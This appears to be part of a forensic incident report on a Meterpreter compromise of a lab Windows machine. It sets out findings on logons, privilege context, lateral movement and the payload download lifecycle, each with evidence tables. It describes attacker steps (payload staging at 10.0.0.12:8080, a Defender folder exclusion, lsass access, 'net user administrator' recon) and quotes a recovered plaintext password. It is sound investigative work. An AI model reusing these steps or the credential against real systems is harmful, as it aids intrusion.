2023-11-10 11:13:54.724308	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 3488, ProcessGUID: e6e9f951-106b-654e-cf01-000000000500 | RuleName: T1060,RunKey | Image: C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe | EventType: SetValue | TargetObject: HKU\S-1-5-21-1841083384-974204330-41	evtxecmd/ evtxecmd_0.csv#18928	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:57.559456	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 4216, ProcessGUID: e6e9f951-1075-654e-d701-000000000500 | RuleName: T1060,RunKey | Image: C:\Users\MEDMON~1\AppData\Local\Temp\EU3403.tmp\MicrosoftEdgeUpdate.exe | EventType: SetValue | TargetObject: HKU\S-1-5-21-1841083384-974204330-41125607	evtxecmd/ evtxecmd_0.csv#19088	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:46.104556	Event logs (EVTX)	EVTX event "C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart /updateSource:ODU Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7932, ProcessGUID: e6e9f951-1069-654e-ce01-000000000500 | RuleName: - | MD5=6CB3F2707BDB8F78FE81E8A20790A4B9,SHA256=F580F8C17F1B8F7EDE556A6C8060B8B6B84862B380EB43F2AD3E91D048A3F7B9,IMPHASH=830D771EB3CF1FC69DCD5AFD0A4A2D9A | ParentProcess: C:\Users\medm	evtxecmd/ evtxecmd_0.csv#18698	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 10:51:11.004937	Event logs (EVTX)	EVTX event Microsoft-Windows-WMI-Activity/Operational 5861 | Microsoft-Windows-WMI-Activity | WMI Registration of Permanent Event Consumer | Ess: SCM Event Log Filter | Binding EventFilter: , instance of __EventFilter, {, CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};, EventNamespace = "root\\cimv2";, Name = "SCM Event Log Filter";, Query =	evtxecmd/ evtxecmd_0.csv#24734	C:\Windows\system32\winevt\logs\Microsoft-Windows-WMI-Activity%4Operational.evtx
2023-11-09 19:00:17.220160	Registry (RECmd, complementary batch)	Registry: key last written ROOT\ControlSet001\Control\Session Manager Persistence | Session Manager BootExecute | BootExecute=autocheck autochk *	recmd_complement/ recmd_complement_C.csv#34	C:\Windows\system32\config\SYSTEM
2019-03-19 04:49:40.979782	$MFT	$SI creation (B) ; $SI modification (M) C:\Windows\System32\drivers\etc\hosts size=824 [SI<FN: possible timestomping]	mftecmd_mft/ mft.csv#54482	C:\$MFT
2023-11-10 11:06:40.683825	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 |	evtxecmd/ evtxecmd_0.csv#18660	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		RuleName: - | Image: C:\Windows\explorer.exe | TargetFilename: C:\Users\medmondson\AppData\Local\Temp__PSScriptPolicyTest_4aavzn1y.m2z.ps1		
2023-11-10 11:10:55.607209	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: EXE | Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | TargetFilename: C:\Users\medmondson\1.exe	evtxecmd/ evtxecmd_0.csv#18680	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:16:03.322916	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: ProcessHostingdotNETCode | Image: C:\Windows\explorer.exe | TargetFilename: C:\Users\medmondson\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log	evtxecmd/ evtxecmd_0.csv#19241	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

4.5 Accounts, authentication and privileges

I reviewed Security events 4624, 4625, 4634, 4647, 4648, 4672, the 47xx account-management events, and 4798/4799/4703. I also checked TerminalServices-LSM events 21–25 (there are no 1149 or 1024 events) and the SAM via recmd UserAccounts.

Logons
- Every logon is local: type 2 interactive, or type 0/5 for SYSTEM and services.
- There are no type 3 or type 10 logons, no failed logons, no Kerberos or NTLM events, and no RDP.
- The 4648 events are all OS logon-process behaviour to localhost.

Accounts
- The only account changes are from OOBE on 2023-11-09:
- defaultuser0 and medmondson were created.
- medmondson was added to Administrators at 11:08:58.
- The OOBE events show an 18:58–19:00 clock offset, which is an artefact of setup.
- SAM matches this: the built-in accounts are disabled and medmondson is the only enabled admin, with 7 logons and the last one at 2023-11-10 10:42:23 (F-011).

Attacker context (F-012)
- The Meterpreter chain ran as medmondson at High integrity under elevated LogonId 0x15347 (4624 at 10:42:10). That token came from UAC consent.exe at 11:02:56, followed by powershell 1088.
- No process in the chain ran as SYSTEM, so there is no getsystem evidence.
- Security 4798 at 11:13:35, with net1.exe PID 0x480 as caller and SubjectLogonId 0x15347, shows the local Administrator (RID 500) being enumerated. This corroborates F-007 and was added to it as evidence.
- The Administrator account was not enabled or modified afterwards.

Timeline events T-011 and T-012 and a user IOC were recorded.

F-012: Meterpreter chain ran under medmondson's elevated (High IL) token LogonId 0x15347 obtained via UAC consent; local Administrator account enumerated (4798 by net1.exe)

Severity	**High**
Confidence	confirmed
Independent sources	artifact:registry: accounts (sam) evtx:microsoft-windows-sysmon%4operational.evtx evtx:security.evtx
Category	privilege escalation / discovery
MITRE ATT&CK	T1078.003, T1087.001, T1548
Period (UTC)	2023-11-09 11:02:46.526328 → 2023-11-10 11:13:35.806786

Observed facts

Security 4624 2023-11-10 10:42:10.277 LogonType 2 medmondson LogonId 0x15347 (elevated half of the split token; filtered token 0x153A9) (row 26783). consent.exe (UAC) ran at 11:02:56.15 (Sysmon 1 row 18641), then powershell.exe PID 1088 started High IL with LogonId 0x15347 at 11:02:57 (row 18642). All attacker processes carry User=DESKTOP-KJ81A5A\medmondson, IntegrityLevel=High, LogonId=0x15347: C:\Payloads\pscp.exe 11:03:09 (18650), explorer.exe 7324 (18651), cmd.exe 11:04:13 / 11:09:06, tracert, quser, powershell, tasklist, netstat, whoami, net.exe/net1.exe 11:13:35 (18695/18696). No process of the chain runs as SYSTEM (no getsystem evidence in Sysmon 1), no 4703/4672 for a new privileged logon after 10:42:23. Security 4798 at 11:13:35.797 and 11:13:35.807 (rows 27065, 27066): local group membership of DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) enumerated, SubjectLogonId 0x15347, CallerProcessName C:\Windows\System32\net1.exe, CallerProcessId 0x480. The Administrator account is disabled (SAM) and was not modified afterwards (no 4722/4724/4738 after 2023-11-09).

Analysis

The attacker did not need an escalation exploit: the payload was launched from the user's UAC-elevated PowerShell, so Meterpreter inherited a full administrator token (SeDebugPrivilege available), which explains the successful remote thread into lsass.exe at 11:03:56 (F-005) — likely credential-access attempt (hashdump/kiwi-type), not provable here (no Sysmon 10 detail on dumping output). The 4798 by net1.exe is an independent Security-log corroboration of the Sysmon-observed 'net user administrator' (F-007): reconnaissance of the built-in admin account, with no follow-up enabling or password reset.

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:42:10.277482	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x15347 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\ svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#26783	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-10 11:02:56.154634	Event logs (EVTX)	EVTX event consent.exe 6492 468 0000019A5C088A40 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2016, ProcessGUID: e6e9f951-0de0-654e-8701-000000000500 | RuleName: - | MD5=EE2A1C85C472F89B146CC8EE598CCCBC,SHA256=19FD0010DA92B654D1CA270247061A39EA13C0A58529FD8257A97E2EF7794911,IMPHASH=522D83761201075834F05037F5307949 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18641	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:02:57.767576	Event logs (EVTX)	EVTX event "C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1088, ProcessGUID: e6e9f951-0de1-654e-8801-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330390769752481 | ParentProcess: C:\Windows\ex	evtxecmd/ evtxecmd_0.csv#18642	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:13:35.786440	Event logs (EVTX)	EVTX event C:\Windows\system32\net1 user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1152, ProcessGUID: e6e9f951-105f-654e-cd01-000000000500 | RuleName: - |	evtxecmd/ evtxecmd_0.csv#18696	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		MD5=0F641F87A791AE07C00A725BBBD77724,SHA256=286E7F127B06386BD1CC9664851848F483A867F0F604AA352893151068715FAA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E | ParentProcess: C:\Windows\Sy		
2023-11-10 11:13:35.796776	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) | SubjectLogonId: 0x15347 | CallerProcessName: C:\Windows\System32\net1.exe | CallerProcessId: 0x480	evtxecmd/ evtxecmd_0.csv#27065	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-10 11:13:35.806786	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) | SubjectLogonId: 0x15347 | CallerProcessName: C:\Windows\System32\net1.exe | CallerProcessId: 0x480	evtxecmd/ evtxecmd_0.csv#27066	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-09 11:02:46.526328	Registry: accounts (SAM)	Account created Administrator RID=500 logons=0 groups=Administrators [disabled]	recmd_kroll/ 20261019151050/ recmd_kroll_C_UserAccounts.csv#1	

F-011: Accounts and logons: only local interactive logons of medmondson; no account creation, group change or remote/explicit-credential logon attributable to the attacker

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:registry: accounts (sam) evtx:microsoft-windows-terminalservices-localsessionmanager %4operational.evtx evtx:security.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2023-11-09 11:02:46.526328 → 2023-11-10 10:42:23.563477

Observed facts

Security.evtx (available 2023-11-09 11:02 → 2023-11-10 12:31 UTC): 4624 = 336 events, all LogonType 2 (interactive/local, RemoteHost 127.0.0.1 or '-') or 0/5 (SYSTEM/services). No LogonType 3/10, no 4625 in Security (the 5 '4625' rows are EventSystem/Application, unrelated), no 4740, no 4768/4769/4776, no RDP (RemoteConnectionManager 1149 / RDPClient 1024 absent; TS-LocalSessionManager 21/22/24/25 all 'LOCAL'). 4648 (26) are all svchost/winlogon/wininit/msoobe/CloudExperienceHostBroker to localhost (logon process behaviour). Account management (4720/4722/4724/4728/4732/4738) only during OOBE on 2023-11-09: defaultuser0 (RID 1000) created (row 25105), medmondson (RID 1001) created 11:08:58 by S-1-5-18 (row 25457), added to Users (25458) and Administrators (row 25467), password set (25462/25464); WDAGUtilityAccount (RID 504) created by MINWINPC$ (24958). No 47xx after 2023-11-09 11:09. SAM (recmd UserAccounts): Administrator(500)/Guest(501)/DefaultAccount(503)/WDAGUtilityAccount(504) disabled; medmondson(1001) created 2023-11-09 11:08:58, Administrators group, 7 logons, last logon 2023-11-10 10:42:23.548, last password change 2023-11-09 11:08:58, 0 invalid logons; defaultuser0(1000) disabled. medmondson interactive logons (4624 type 2, paired linked tokens = UAC split token): 2023-11-09 11:08:59, 11:09:53; 2023-11-10 10:08:24, 10:08:47, 10:15:45, 10:42:10 (LogonId 0x15347 elevated / 0x153A9 filtered, rows 26783/26784), 10:42:23 (0x57147/0x5716A). Note: OOBE events are logged at 2023-11-09 18:58–19:00 but have lower record numbers than the 11:02 events: the clock was ~8 h ahead (Pacific bias 480) before being corrected during setup.

Analysis

All account activity is consistent with the Windows installation/OOBE and lab setup by the legitimate user medmondson; the compromise used the already-logged-on admin session (no lateral movement, no brute force, no new/backdoor

account, no privilege group modification). Absence of network logons is meaningful since the Security log covers the full lifetime of the machine (installed 2023-11-09). The apparent 18:58/19:00 timestamps on 2023-11-09 are a setup-time clock offset, not attacker activity.

Evidence (9)

UTC	Artifact	Detail	Reference	Original source
2023-11-09 11:08:58.475556	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-KJ81A5A\ medmondson (S-1-5-21-1841083384-974204330-411256071-1001)	evtxecmd/ evtxecmd_0.csv#25457	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-09 11:08:58.563802	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x3E7 | MemberName: - | MemberSid: S-1-5-21-1841083384-974204330-411256071-1001 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#25467	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-09 19:00:23.823486	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-KJ81A5A\ defaultuser0 (S-1-5-21-1841083384-974204330-411256071-1000)	evtxecmd/ evtxecmd_0.csv#25105	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-10 10:42:10.277482	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x15347 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\ svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#26783	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-10 10:42:10.277511	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x153A9 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\ svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#26784	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-10 10:42:23.563477	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x57147 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\ svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#26863	C:\Windows\system32\ winevt\logs\Security.evtx
2023-11-09 11:08:58.466478	Registry: accounts (SAM)	Account created medmondson RID=1001 logons=7 groups=Administrators	recmd_kroll/ 20261019151050/ recmd_kroll_C_UserAccounts.csv#5	
2023-11-09 11:02:46.526328	Registry: accounts (SAM)	Account created Administrator RID=500 logons=0 groups=Administrators [disabled]	recmd_kroll/ 20261019151050/ recmd_kroll_C_UserAccounts.csv#1	
2023-11-09 11:09:53.533599	Event logs (EVTX)	EVTX event Microsoft-Windows-TerminalServices-LocalSessionManager/Operational 21 | Microsoft-Windows-TerminalServices-LocalSessionManager | Remote Desktop Services: Session logon succeeded | Session ID: 2 | LOCAL	evtxecmd/ evtxecmd_0.csv#23406	C:\Windows\system32\ winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager %4Operational.evtx

4.6 Remote access and lateral movement

I reviewed remote access and lateral movement. Nothing shows the host was controlled remotely by anything other than the Meterpreter session, or used as a pivot (F-013).

Checked, all negative:
*- **RDP:** fDenyTSConnections=1; LSM shows only local sessions; there are no 1149, 4778/4779 or type 10 events; no mstsc MRU, .rdp files or bitmap cache.*
*- **PsExec:** no PSEXESVC service and no 5140/5145. PsExec binaries exist only in the analyst toolset and have no Prefetch entry.*

*- **WinRM:** no 6/91/168 events, no wsmprovhost and no ServerRemoteHost 400. The 142/145 events are benign listener enumeration.*
*- **Remote-access tools:** none installed. Their names appear only in KAPE targets and maps.*
*- **Shares:** no UNC ShellBags and no mapped drives.*

Network:
- The only Sysmon EID 3 in the attack chain is powershell 736 → 10.0.0.12:8080/tcp at 11:10:55 UTC (RecordID 336).
- SRUM shows explorer.exe sending more outbound bytes (69 KB) in the interval ending 11:43, which fits C2 traffic.

***Recorded:** Q4 answered (10.0.0.12:8080, probable); IOC I-012 added; note on false positives.*

F-013: No remote access or lateral movement: no RDP, PsExec, WinRM, RMM or SMB-share activity; only network peer of the attack is 10.0.0.12 (TCP 8080)

Severity	**Informational**
Confidence	probable
Independent sources	artifact:$mft artifact:registry (recmd kroll) artifact:srum (network usage per application) evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-winrm%4operational.evtx
Category	lateral movement / remote access
MITRE ATT&CK	T1021.001, T1021.002, T1021.006, T1219, T1071.001
Period (UTC)	2022-07-19 23:09:06 → 2023-11-10 11:43:00

Observed facts

What I checked and what it showed:
- **RDP:** HKLM\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections=1, so RDP was disabled (registry_kroll row 7137, LastWrite 2023-11-10 10:42:09). TerminalServices-LSM shows only local console sessions (21/22/41/42 at boot and logon). There are no 1149 or 4778/4779 events, no type 10 logons and no Terminal Server Client (mstsc MRU) key. $MFT has no .rdp files and no bcache*.bmc / cache*.bin bitmap cache. Prefetch has no MSTSC.EXE.
- **PsExec and equivalents:** no PSEXESVC 7045 among the 19 System 7045 events. There are no 5140/5145 share-access events in Security. PsExec.exe and PsExec64.exe exist only in Desktop\Tools\Forensic_Program_Files\SysinternalsSuite, created 11:51:24/11:51:42 as part of the analyst toolset copy, and Prefetch has no PSEXEC entry.
- **WinRM:** WinRM/Operational has only 145/142/161/254 'Enumeration' of the local wsman/config/listener, with errorCode 2150858770 (refs evtx 24536/24539/24540/24543). These recur at every boot or service start from 2023-11-09 onward. There are no 6/91/168 events, no WSMPROVHOST in Prefetch and no PowerShell 400 with HostName=ServerRemoteHost.
- **Remote-access tools:** AnyDesk, TeamViewer, ScreenConnect, Splashtop and Atera appear only as KAPE target/map files under Desktop\Tools (for example mft row 119176 AnyDesk.tkape). None of them has an install folder, service or Prefetch entry.
- **Shares and mapped drives:** ShellBags have no UNC paths and the registry has no Map Network Drive MRU. SMBServer 1010/1025/1027 and SmbClient 30810/30812 are only transport binding events at boot.
- **Network telemetry:** the only Sysmon EID 3 tied to the attack chain is powershell.exe PID 736 (GUID {e6e9f951-0f56-654e-af01-000000000500}, child of cmd 5848 of injected explorer 7324). It connected 10.0.0.124:50009 → 10.0.0.12:8080/tcp at 11:10:55.573 UTC (evtx row 18681, Sysmon RecordID 336) to download 1.exe. Sysmon logged no EID 3 for pscp.exe (PID 2196) or explorer.exe (PID 7324); the other EID 3 events come from OneDrive, EdgeUpdate, KAPE and TimelineExplorer. In SRUM NetworkUsage, explorer.exe sent 69,181 bytes and received 86,237 bytes in the interval ending 11:43:00. In the 10:15 interval, before the attack, it sent 3,284 bytes.

Analysis

I found no evidence that anyone controlled the host remotely through native or commercial remote-access channels, or used it to move laterally. Remote control appears to have gone only through the Meterpreter session. The IP 10.0.0.12 is the attacker infrastructure: on port 8080/tcp it served the payloads (pscp.exe, 1.exe) and was reached from the injected process chain.

The Meterpreter reverse-channel socket (pscp.exe, then explorer 7324) was not captured. The Sysmon configuration probably excludes or does not match explorer.exe and the payload. The higher outbound byte count for explorer.exe in SRUM between 11:00 and 11:43 fits C2 traffic from the injected explorer, but SRUM does not record the remote endpoint.

So 10.0.0.12 is confirmed as the C2/staging host. Port 8080 is confirmed for HTTP staging and is the most likely Meterpreter handler port, but that last point is an inference. The output of `netstat -ntb` (run at 11:12:23) was not collected.

Limit: the absence of RDP, SMB and WinRM artefacts depends on retention of the Security and Operational logs. These logs cover the whole period from 2023-11-09, so I consider the absence meaningful.

Evidence (6)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\ Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/ evtxecmd_0.csv#18681	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 10:42:09.344932	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\Terminal Server Threat Hunting | RDP Connections Status | fDenyTSConnections=1	recmd_kroll/ recmd_kroll_C.csv#7137	C:\Windows\system32\ config\SYSTEM
2023-11-10 11:43:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=86237 sent=69181 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#111	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 10:15:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=68056 sent=3284 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#61	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 11:13:06.409323	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 145 | Microsoft-Windows-WinRM	evtxecmd/ evtxecmd_0.csv#24540	C:\Windows\system32\ winevt\logs\Microsoft-Windows-WinRM %4Operational.evtx
2022-07-19 23:09:06	$MFT	$SI modification (M) C:\Users\medmondson\Desktop\Tools\ Forensic_Program_Files\SysinternalsSuite\PsExec.exe size=440216 [zero µs]	mftecmd_mft/ mft.csv#137433	C:\$MFT

4.7 User activity on files and folders

I reviewed these sources: LNK (24), Jump Lists (auto/custom), ShellBags (44), RecentDocs, OpenSavePidlMRU, LastVisitedPidlMRU, Windows Timeline, the SIDR file index, $MFT, $UsnJrnl, the Recycle Bin and the USB context.

F-014 (medium, confirmed): payload file lifecycle
- Edge downloaded pscp.exe from 10.0.0.12:8080 to Downloads four times.
- Defender deleted the first and third copies (USN FileDelete at 10:16:44 and 10:19:36). The download at 10:19:53 (MFT entry 85774) survived.
- At 10:20:10 it was copied to C:\Payloads\pscp.exe (MFT 85781, Zone.Identifier kept).
- At 10:20:20 the Downloads original went to the Recycle Bin as $RHOVDEL.exe and $IHOVDEL.exe. It is still allocated, so it can be recovered and hashed (IOC I-013).

- ShellBags, Payloads.lnk and the Explorer Jump List also show the C:\Payloads browsing.
- Timeline event T-013 added.

F-015 (medium, probable): plaintext credential file
- At 11:13:56 the user's Notepad (PID 932, GUID {e6e9f951-0f03-654e-aa01-000000000500}) saved Desktop\not_my_pass.txt. Its parent was the legitimate explorer 2432 (LogonId 0x153A9), not the injected explorer 7324.
- The SIDR index holds the content: 'user: medmondson pass: password123!@#'.
- Corroborating sources: Sysmon 1, 4798, $MFT, USN, OpenSave/LastVisited MRU, RecentDocs, LNK, Jump Lists and Windows Timeline.
- $SI LastAccess is 11:15:54, but I cannot attribute it to the attacker.
- IOC I-014 and timeline event T-014 added.

Not attack-related
- No attacker file activity outside what was already known (1.exe, test.exe, PSScriptPolicyTest).
- USB, tools and transcript activity is lab or analyst work and was put in a note.

F-014: File-system lifecycle of the payload: 3 Edge downloads of pscp.exe, copy to C:\Payloads\pscp.exe and original sent to the Recycle Bin (still recoverable as $RHOVDEL.exe)

Severity	**Medium**
Confidence	confirmed
Independent sources	artifact:$mft artifact:$usnjrnl:$j artifact:jump lists (automatic) artifact:lnk files artifact:recycle bin ($i) artifact:shellbags
Category	file activity
MITRE ATT&CK	T1105, T1036.005, T1070.004
Period (UTC)	2023-11-10 10:15:26.178698 → 2023-11-10 10:20:20.820023

Observed facts

$UsnJrnl:$J shows Microsoft Edge writing http://10.0.0.12:8080/pscp.exe to C:\Users\medmondson\Downloads several times:
1) pscp.exe.2sw3jd0.partial → pscp.exe at 10:16:42.89, FileDelete 10:16:44.77 (MFT entry 85540; Defender quarantine, F-003).
2) pscp.exe.2v8nja0.partial at 10:17:53.81 (entry 85765).
3) pscp.exe.de35ks3.partial → pscp.exe at 10:19:36.23, FileDelete 10:19:36.49 (entry 85732).
4) After the C:\Payloads\ exclusion (10:19:24): pscp.exe.ycq6vri.partial → pscp.exe at 10:19:53.85 (entry 85774). This copy survived and got an ObjectIdChange at 10:19:58 because it was opened from Explorer.
- At 10:20:10.1169 C:\Payloads\pscp.exe is created (USN FileCreate, MFT entry 85781, 986,624 B). Its $SI Modified is 10:19:53.85, the same as the download, so it is a copy that kept its timestamps. It also kept the Zone.Identifier ADS (ZoneId=3, HostUrl=http://10.0.0.12:8080/pscp.exe).
- At 10:20:20.82 the Downloads copy (entry 85774) is renamed to $Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe, and $IHOVDEL.exe is created (entry 85783).
- RBCmd: original path C:\Users\medmondson\Downloads\pscp.exe, 986624 B, DeletedOn 10:20:20.
- $MFT shows $RHOVDEL.exe still allocated, with a Zone.Identifier carrying the same HostUrl.
- The Edge TempState .partial files were deleted at 10:20:33.
- C:\Payloads\test.exe is created at 10:21:41 (entry 80578; F-009).
- Explorer browsing of the folder: ShellBag 'This PC\C:\Payloads' (created 10:18:46, FirstInteracted 10:20:08) and Recent\Payloads.lnk (target C:\Payloads, target created 10:18:44, volume serial 026F16D0).

Analysis

Fact: $J, $MFT, the Recycle Bin $I file and ShellBags/LNK are independent sources, and they show the same sequence. C:\Payloads was created at 10:18:44 and then excluded from Defender. Defender removed the downloaded pscp.exe from Downloads twice. Once the exclusion was in place, the surviving download was copied with Explorer into C:\Payloads; it is a copy because the MFT entry is different (85781 vs 85774). The original was then deleted to the Recycle Bin. This was a cleanup step, not effective anti-forensics, because the file can still be recovered.
Forensic value:
- $RHOVDEL.exe (MFT 85774) is a second on-disk copy of the payload. It has the same size and should have the same hash, but no hash for it was collected.
- The Zone.Identifier ADS on every copy keeps the origin, 10.0.0.12:8080.

Evidence (12)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:19:53.851269	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe RenameNewName [Archive] entry=85774-1	mftecmd_usnjrnl/ usnjrnl.csv#87237	C:\$Extend\$J
2023-11-10 10:20:10.116914	$UsnJrnl:$J	USN $J C:\Payloads\pscp.exe FileCreate [Archive] entry=85781-1	mftecmd_usnjrnl/ usnjrnl.csv#87279	C:\$Extend\$J
2023-11-10 10:20:20.820023	$UsnJrnl:$J	USN $J C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe RenameNewName [Archive] entry=85774-1	mftecmd_usnjrnl/ usnjrnl.csv#87301	C:\$Extend\$J
2023-11-10 10:16:44.768538	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe FileDelete|Close [Archive] entry=85540-1	mftecmd_usnjrnl/ usnjrnl.csv#85220	C:\$Extend\$J
